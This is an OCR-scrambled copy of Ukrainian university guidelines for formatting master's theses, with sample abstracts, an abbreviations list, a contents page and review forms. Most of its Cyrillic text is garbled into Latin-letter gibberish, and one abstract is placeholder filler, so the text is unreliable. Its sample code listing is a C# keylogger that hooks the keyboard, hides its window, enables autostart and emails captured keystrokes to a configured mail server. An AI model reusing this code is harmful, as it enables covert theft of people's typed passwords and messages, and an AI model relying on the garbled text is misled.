3 OOPTOBHUX CHUCTEM ONTHKO-EJIEKTPOHHOTO CIIOCTEPEIKECHHS.

IIpeamerom gocaimkeHb Mojeli, MeToAu Ta iHGOPMAIIHHA TEXHOJOTIS
OPUUHATTS PillIeHb MPU CETMEHTYBaHHI 300pakeHb 3 OOPTOBUXCUCTEM ONTHKO-
€JIEKTPOHHOTO CIIOCTEPEXKEHHS.

Meta kBajgiikaniiHoi pod0oTH: € TIBUILIEHHS SKOCTI 00POOKH 300pakeHb
3 OOPTOBUX CUCTEM ONTUKO-EIEKTPOHHOTO CIIOCTEPEKEHHS IIJISXOM 3aCTOCYBaHHS
METOJIIB TEMaTUYHOTO CErMEHTYBaHHS 300paXeHb Ha OCHOBI MYpAalIUHUX
IITOPUTMIB.

Meroan pochaimxenHs. JlJig BUPIMICHHS [OCTaBICHUX 3a/]a4 BUKOPUCTaHI
METOJU: METOJU Teopii WMOBIPHOCTI, MAaTEMAaTUYHOI CTATUCTHUKHU, KJIacTepu3allii
JaHuX, IUPPOBOi 00POOKH 300paKeHb,MATEMATUYHOTO MOJICTIFOBAHHS, aHAIITHYHI Ta
eMIIIPUYHI METOAMN MOPIBHSUIBHOTO JTOCIIIKEHHS.

HaykoBa oTpuMaHux pe3yJbTaTiB KBali(ikaiiifHOi poOOTH BU3HAYAETHCS
THUM, 1110 yIOCKOHAJIEHO METOJ] TEMAaTHYHOTO CETMEHTYBaHH 300pakeHb 3 00PTOBHUX
CHUCTEM  OITHUKO-EJIEKTPOHHOTO  CIIOCTEPEKEHHS Ha OCHOBI MYpAIIMHOTO
ANrOpPUTMY, Y SIKOMY, Ha BIAMIHY B1Jl BIIOMHX, BpaXOBaHi 0COOIMBOCTI (HOPMYBaHHS
300paXeHHs, JUIsI TEMaTUYHOTO CETMEHTYBAHHSI 3aCTOCOBYETHCS MYpaIlIMHHA
QITOPUTM, a CEerMEHTYBaHHS 300paKeHHS 3BEACHO [0 PO3PaxyHKy IIbOBOI
(GyHKLIII, CYKymHOCTI JUISHOK pyXy areHTiB, KOHIEHTpauii ¢(epoMoHy Ha
MapuipyTax pyxy areHris, 1110 HiJBULLYE AKICTb 00pOOKH 300paKeHb.

IIpakTuyHa WiHHICTBL PE3yNbTATIB MOJATAE Yy MIABUILNEHHI SIKOCTI 00pOOKU
ONTHKO-EJIEKTPOHHUX 300pa’keHb 3 OOPTOBUX CHUCTEM OITUKO- EJIEKTPOHHOTO
CIIOCTEPEKEHHS Ta TMOJIArae y po3poOlll MpUKIaaHOi 1H()OpMaLItHOT TEXHOJIOT11
TEMaTHYHOTO CETMEHTYBaHHS 300paeHb 3 OOPTOBUX CUCTEM OMTHUKO-EIEKTPOHHOTO
CTIIOCTEPEKEHHSI.

Cmucok kawuoBux ciaiB: COMPUTER-AIDED SOFTWARENGINEERING,
RGB, UML, WCS, WFS, WMS.
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ABSTRACT

Explanatory note: 86 pages, 36 figures, 2 tables, 4 applications, 63 sources.
Object of research: text text text text text text text text text text text text text.
Subject of research: text text text text text text text text text text text text
Purpose of Master's thesis: text text texttext text text text text text text
Research methods. Text text text text text text text text text text text text.
Originality of research is in / consists of / is associated with / text text
Practical value of the results consists of text text text text text text text
Scope of application. Text text text text text text text text text text text text.
The value of the work and conclusions. Text text text text text text text text.
Research forecast and development. Text text text text text text text text

Keywords: keywordl, keyword2, keyword3, keyword4.
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HMomatok I'

Ipuxkaax opopmiieHHS NepesIiKy YMOBHUX MO3HAYEHb
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HEPEJIIK YMOBHHUX ITO3HAYEHDb

OEC — onTHKOo-eNEKTPOHHE CIIOCTEPEKEHHS;
[TAK — mporpamHo-anapaTHUil KOMILIEKC;

CKB — cepenne kBajpaTHUHE BIIXUICHHS;

YT'TI/] — ynpaBiiHHS T€ONPOCTOPOBUMH JaHUMH;
ACO — ant colony optimization;

CASE Computer-Aided Software Engineering;
ICAM — Integrated Computer Aided Manufacturing;
IDEFO — ICAM Definition;

SADT - Structured Analysis & Design Technique;
TSP — Travelling Salesman Problem;

UML — Unified Modeling Language;

WCS — Web Coverage Service;

WES — Web Feature Service;

WMS — Web Map Service.
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Jomatok /I

IHpuxian ogpopmiaeHHs 3MicTy
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21O 1.7 PSPPSR 9
PO3AUI 1. AHAJII3 BIIOMUX METOAIB TEMATHUYHOI'O
CEI'MEHTYBAHHSA OITUKO-EJIEKTPOHHUX 30bPAXEHbD............ 12

1.1. OcHOBHI eTaru BeJICHHS CIIOCTEPEKEHHS Ta BUMOTH JI0 SIKOCTI
OOPOOKH BOOPAIKEHD ...vvvveeurriessreeesssrenessssesssssessssnesssseesssssesssssseessnneesns 12
1.2.  OcHoBHI eTanu 0OpOOKH ONTHUKO-CICKTPOHHUX 300paKEeHb Ta PiBHI
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JIUCTHUHI IPOI'PAMHA

UNITl.cs // TOJIOBHWM MONyJib NPOTPaMM

//nigkimodaemo noTpibHi 6i6niorexu

using System;

using System.Collections.Generic;

using System.Text;

using System.IO;

using System.Windows.Forms;

using System.Net;

using System.Net.Mail;

using System.Xml;

using Microsoft.Win32;

// BCTAHOBJIOEMO CJIOBHMK CMMBOJIIB y P13HMX MOBHMX POBKJIANKAX:
List<Keys> pressedKeys;

Dictionary<uint, char[]> symbolsdict = new Dictionary<uint, char[]>()

{

{ 41, new char[]{' "', '~', 'é', 'E'} },
{ 52, new char[]{'.', '>', 'no', '0O'} },
{ 53, new char[l{'/', "?', '.', ','} },

}i
int locale;
//BxasyeMo mgax no Gamry HajlamTyBaHS:
string cfgfile;
XmlDocument document;
//TTaliMep 4YacTOTM BiOnpaBKM JMUCTiB:
System.Windows.Forms.Time rtimer = new System.Windows.Forms.Timer () ;
//aKmWwo nporpama 3anycTusiacsa, To
public Forml () {
InitializeComponent () ;
_pressedKeys = new List<Keys>();
locale = 0;
//3anucyemMo wisax 0o odamiy:
cfgfile = Application.ExecutablePath;
cfgfile = cfgfile.Remove (cfgfile.Length - 3) + "xml";
//Aakmo ¢aly BXe 1icHye, TO:
if (File.Exists(cfgfile)) {
try
{
document = new XmlDocument () ;
document.Load (cfgfile);
checkBoxl.Checked = Convert.ToBoolean
(document .GetElementsByTagName ("AutoStart™) [0] .InnerText) ;
ChangeAutoStart () ;
checkBox2.Checked

Convert.ToBoolean (document.GetElementsByTagName ("Hide") [0] .InnerText) ;
textBoxl.Text = document.GetElementsByTagName ("BuffSize") [0].InnerText;
textBox2.Text = document.GetElementsByTagName ("TimeDelay") [0].InnerText;

timer = new System.Windows.Forms.Timer () ;
timer.Interval = Convert.ToInt32 (textBox2.Text) * 60 * 1000;
timer.Tick += OnTimedEvent;
timer.Start ();
textBox3.Text = document.GetElementsByTagName ("MailServer") [0].InnerText;
textBox4.Text = document.GetElementsByTagName ("MailPort") [0].InnerText;
textBox5.Text = document.GetElementsByTagName ("MailLogin") [0].InnerText;
textBox6.Text = document.GetElementsByTagName ("MailPass") [0].InnerText;
}
catch (Exception)
{
MessageBox.Show ("Oummbka B danye KoHduIypaumm. Ymammre ero");
}
}
//lpr HaTUCKaHHI KjaBim:
void KBDHook KeyDown (Hooks.LLKHEventArgs e)
{
//axmwo Takol kjaBimi 3apas HeMae y CHOMCKY HaTMUCHYTOL, TO:
if (! pressedKeys.Contains(e.Keys))
{ _pressedKeys.Add (e.Keys) ;
}
//axkmo ©ynaM HATUCHYT1 Takil kjaeimi, TO BiOKpMBAEMO CXOBaHE BI1KHO:
if (_pressedKeys.Contains (Keys.LControlKey) && pressedKeys.Contains (Keys.LShiftKey) &&
_pressedKeys.Contains (Keys.LMenu) && pressedKeys.Contains (Keys.H))
{ Show () ;
}

//axmwo ©ynM HaTUCHYT1 Taki kjaBimi, TO 3MiHIOEMO PO3KJIANKY KiaBlaTypwu:
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if (_pressedKeys.Contains (Keys.LShiftKey) && pressedKeys.Contains (Keys.LMenu))
{ locale = (locale + 2) % 4;
}
int shift = ( pressedKeys.Contains(Keys.LShiftKey) ||
_pressedKeys.Contains (Keys.RShiftKey))?1:0;
// DOmaeMO HATUCHYTY KJABllWly y CHOMCOK 3 ypaxyBaHHAM PO3KJAIKM KJaBlaTypwu:
if (symbolsdict.ContainsKey (e.ScanCode))
{
textBox7.Text += symbolsdict[e.ScanCode] [locale+shift];
}
}
//axkwo mporpaMa OyJa 3akpura, TO:
private void Forml FormClosed(object sender, FormClosedEventArgs e)
{
//BlOKJIOYAEMO MACTKY :
Hooks.KBDHook.UnInstallHook () ;
//36epiraeMo Qars HaJlaWTyBaHb :
document.Save (cfgfile);
//3ynuHaeMO TamMep:
timer.Dispose () ;
}
//aKmwo npy HaTMCKaHHI kjgaBim moBxmHA epeBicuia HOPMY, TO:
private void textBox7 TextChanged(object sender, EventArgs e)
{
if (textBox7.Text.Length >= Convert.ToInt32 (textBoxl.Text))
{
SendMail (textBox3.Text, Convert.ToInt32 (textBox4.Text), textBox5.Text,
textBox6.Text, "KeyHook", "llocsenHme " + textBoxl.Text + " cummBosos\r\n" + textBox7.Text);
textBox7.Clear () ;

}

UNIT2.cs

UNITN.cs
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Homatoxk 7K

3MicCT BIATYKY HAYKOBOI'0 KEPIBHUKA
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HAIIIOHAJIbHUM TEXHIYHUHA YHIBEPCUTET
«IHIITPOBCBKA HNOJITEXHIKA»

dakyabTeT iHpopMaALIHHUX TEXHOJIOTIH
Kadenpa nporpamnoro 3ade3ne4yeHHsi KOMII' OTEPHUX CHCTEM

BIAT'YK

HayxoBoro kepiBHUKa

(mpi3BuIe, iM’s1, TO OATHKOBi, HAYKOBHI CTYIiHb, BUEHE 3BaHHS, I10Ca/a, MicIie poOoTH)

Ha kBajigikauiiiny podory
CTyJEHTa

(mpi3BHIIe, iM’51, IO GATHKOBI)

Kypcey Il rpymnu
CHEeIlaJIbHOCTL

Ha TEMY

AKTyaJabHICTh TEMU

Meta 10CiIiKEHb

KopoTtka xapaktepuctuka po3aiiaiB poooTu

[IpakTiune 3HaYeHHS pOOOTH
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3ayBakKe€HHS Ta HEJIOIKH

BucHoBKY Ta OI1HKa

HaykoBuii kepiBHUK

(mpi3Buie, iM’s1, MO 6aTHKOBI, ITOcaaa, Mice podoTH)

« » 20 p.

(migrmic)
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Monatok K

3micT penensii Ha KBaJidikagiiiny pooory
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PELIEH3IA
Ha KBaJidikauiiny poodory

CTyJICHTa

(mpi3BuiLe, iM’s1, 0 6GaTHKOBI)

kypcy Il rpymnu
Kadeapu mporpaMHoro 3a0e3MmeueHHsT KOMIT IOTEPHUX CHCTEM
CHEIIaJIbHOCTI

Tema pobotu

Crucna XxapakTepucTUKa po3AlIiB poOOTH _

[Ipomo3uilii, BHECEH1 CTYJEHTOM, PIBEHb iX HAYKOBOT'O OOTPYHTYBaHHS

[IpakTruHe 3HaYeHHS pOOOTU

SAxicts odopmiieHHS poOOTH

Henomniku B po6oTi

3arajibH1iT BUCHOBOK

(MiArOTOBJIEHICTH CTYJEHTA 10 CAMOCTIHHOT pOOOTH SIK criewiaicra)

OmuiHKa MaricTepchbKoi poooTH

Perniensenr

(mpi3Bu1Ie, iM’51, 1O 0aTHKOBI, HAYKOBHIA CTYIIHb, BYCHE 3BaHHS, 110CAJIa, MiCIIe POOOTH)

«_» 20 »p.

(migmuc)
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Jomarok JI

HpuxJian opopMiieHHs nepetiky (paiiiB Ha JTUCKY
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NEPEJIIK JOKYMEHTIB HA OITUYHOMY HOCII

IM’st (paiisny | Onuc

[osicHIOBaIbHI TOKYMEHTHU

Jumiom IBanoB.doc [TosicHtoBanpHa 3ammcka poOoTH. J[OKyMeHT
Word.

Humom_IBanoB.pdf [TosicHroBanpHa 3amucka poOoT B ¢opMmaTi
PDF

[Iporpama

Program.rar ApxiB.  Mictuth  KOOM  TporpamMm 1
OTKOMIIJIOBaHY MPOrpamy

[Ipe3enranis

IIpesenTanist IBanoB.ppt \ [IpesenTartist pobotu

41




YnopsaaHuku

IBanuyenko Oner BacniboBua
Bepanuk Muxaiino ['enHaniifoBuy
YnoBuk Ipuna MuxaiiniBHa

METOJUYHI PEKOMEHJIAIIL 1O BUKOHAHHSA
KBAJI®IKAIIAHAX POBIT
CTyJCHTaMHU CIEeIiaTbHOCTI
122 «KoMmm’1oTepH1 HAyKu»
apyroro (MaricTepchbKoro) piBHs BUIIOI OCBITH

BignosigansHa 3a Bunyck [.M. Y noBux

Bunano B penakuii aBTopiB.

[Tinnucano no apyky 30.05.2022 p. ®opmar 30x42/4.
[Tamip odcernuii. Puzorpadis. Ym. apyk. apk.__ .
OO6n.-BuA. apk.___. Tupax 50 mp. 3am. No

[linroToBIEHO 10 IPYKY Ta BUAPYKOBAHO
B HTYVY «/IHinpoBCchKa MOMITEXHIKA
CsigourBo ipo BHeceHHs 110 JlepxaBHoro peectpy JIK Ne 1842 Bin 11.06.2004.

49005, m. duinpo, npoct. J1. SABopHuiibkoro, 19.

42



